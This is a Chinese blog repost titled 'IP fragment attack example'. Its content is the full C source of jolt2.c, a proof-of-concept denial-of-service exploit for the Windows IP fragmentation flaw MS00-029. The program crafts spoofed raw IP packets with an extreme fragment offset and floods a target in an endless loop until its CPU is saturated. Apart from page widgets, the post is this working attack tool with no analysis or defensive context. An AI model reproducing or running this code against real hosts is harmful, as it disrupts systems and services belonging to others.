IP碎片攻击例子

 
 
  1. /*
  2.  * File:   jolt2.c
  3.  * Author: Phonix <phonix@moocow.org>
  4.  * Date:   23-May-00
  5.  *
  6.  * Description: This is the proof-of-concept code for the
  7.  *              Windows denial-of-serice attack described by
  8.  *              the Razor team (NTBugtraq, 19-May-00)
  9.  *              (MS00-029).  This code causes cpu utilization
  10.  *              to go to 100%.
  11.  *
  12.  * Tested against: Win98; NT4/SP5,6; Win2K
  13.  *
  14.  * Written for: My Linux box.  YMMV.  Deal with it.
  15.  *
  16.  * Thanks: This is standard code.  Ripped from lots of places.
  17.  *         Insert your name here if you think you wrote some of
  18.  *         it.  It's a trivial exploit, so I won't take credit
  19.  *         for anything except putting this file together.
  20.  */
  21. #include <stdio.h>
  22. #include <string.h>
  23. #include <netdb.h>
  24. #include <sys/socket.h>
  25. #include <sys/types.h>
  26. #include <netinet/in.h>
  27. #include <netinet/ip.h>
  28. #include <netinet/ip_icmp.h>
  29. #include <netinet/udp.h>
  30. #include <arpa/inet.h>
  31. #include <getopt.h>
  32. struct _pkt
  33. {
  34.   struct iphdr    ip;
  35.   union {
  36.     struct icmphdr  icmp;
  37.     struct udphdr   udp;
  38.   }  proto;
  39.   char data;
  40. } pkt;
  41. int icmplen  = sizeof(struct icmphdr),
  42.     udplen   = sizeof(struct udphdr),
  43.     iplen    = sizeof(struct iphdr),
  44.     spf_sck;
  45. void usage(char *pname)
  46. {
  47.   fprintf (stderr, "Usage: %s [-s src_addr] [-p port] dest_addr/n",
  48.            pname);
  49.   fprintf (stderr, "Note: UDP used if a port is specified, otherwise ICMP/n");
  50.   exit(0);
  51. }
  52. u_long host_to_ip(char *host_name)
  53. {
  54.   static  u_long ip_bytes;
  55.   struct hostent *res;
  56.   res = gethostbyname(host_name);
  57.   if (res == NULL)
  58.     return (0);
  59.   memcpy(&ip_bytes, res->h_addr, res->h_length);
  60.   return (ip_bytes);
  61. }
  62. void quit(char *reason)
  63. {
  64.   perror(reason);
  65.   close(spf_sck);
  66.   exit(-1);
  67. }
  68. int do_frags (int sck, u_long src_addr, u_long dst_addr, int port)
  69. {
  70.   int     bs, psize;
  71.   unsigned long x;
  72.   struct  sockaddr_in to;
  73.   to.sin_family = AF_INET;
  74.   to.sin_port = 1235;
  75.   to.sin_addr.s_addr = dst_addr;
  76.   if (port)
  77.     psize = iplen + udplen + 1;
  78.   else
  79.     psize = iplen + icmplen + 1;
  80.   memset(&pkt, 0, psize);
  81.   pkt.ip.version = 4;
  82.   pkt.ip.ihl = 5;
  83.   pkt.ip.tot_len = htons(iplen + icmplen) + 40;
  84.   pkt.ip.id = htons(0x455);
  85.   pkt.ip.ttl = 255;
  86.   pkt.ip.protocol = (port ? IPPROTO_UDP : IPPROTO_ICMP);
  87.   pkt.ip.saddr = src_addr;
  88.   pkt.ip.daddr = dst_addr;
  89.   pkt.ip.frag_off = htons (8190);
  90.   if (port)
  91.   {
  92.     pkt.proto.udp.source = htons(port|1235);
  93.     pkt.proto.udp.dest = htons(port);
  94.     pkt.proto.udp.len = htons(9);
  95.     pkt.data = 'a';
  96.   } else {
  97.     pkt.proto.icmp.type = ICMP_ECHO;
  98.     pkt.proto.icmp.code = 0;
  99.     pkt.proto.icmp.checksum = 0;
  100.   }
  101.   while (1) {
  102.     bs = sendto(sck, &pkt, psize, 0, (struct sockaddr *) &to,
  103.               sizeof(struct sockaddr));
  104.   }
  105.   return bs;
  106. }
  107. int main(int argc, char *argv[])
  108. {
  109.   u_long  src_addr, dst_addr;
  110.   int i, bs=1, port=0;
  111.   char hostname[32];
  112.   if (argc < 2)
  113.     usage (argv[0]);
  114.   gethostname (hostname, 32);
  115.   src_addr = host_to_ip(hostname);
  116.   while ((i = getopt (argc, argv, "s:p:h")) != EOF)
  117.   {
  118.     switch (i)
  119.     {
  120.       case 's':
  121.         dst_addr = host_to_ip(optarg);
  122.         if (!dst_addr)
  123.           quit("Bad source address given.");
  124.         break;
  125.       case 'p':
  126.         port = atoi(optarg);
  127.         if ((port <=0) || (port > 65535))
  128.           quit ("Invalid port number given.");
  129.         break;
  130.       case 'h':
  131.       default:
  132.         usage (argv[0]);
  133.     }
  134.   }
  135.   dst_addr = host_to_ip(argv[argc-1]);
  136.   if (!dst_addr)
  137.     quit("Bad destination address given.");
  138.   spf_sck = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
  139.   if (!spf_sck)
  140.     quit("socket()");
  141.   if (setsockopt(spf_sck, IPPROTO_IP, IP_HDRINCL, (char *)&bs,
  142.       sizeof(bs)) < 0)
  143.     quit("IP_HDRINCL");
  144.   do_frags (spf_sck, src_addr, dst_addr, port);
  145. }

 
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值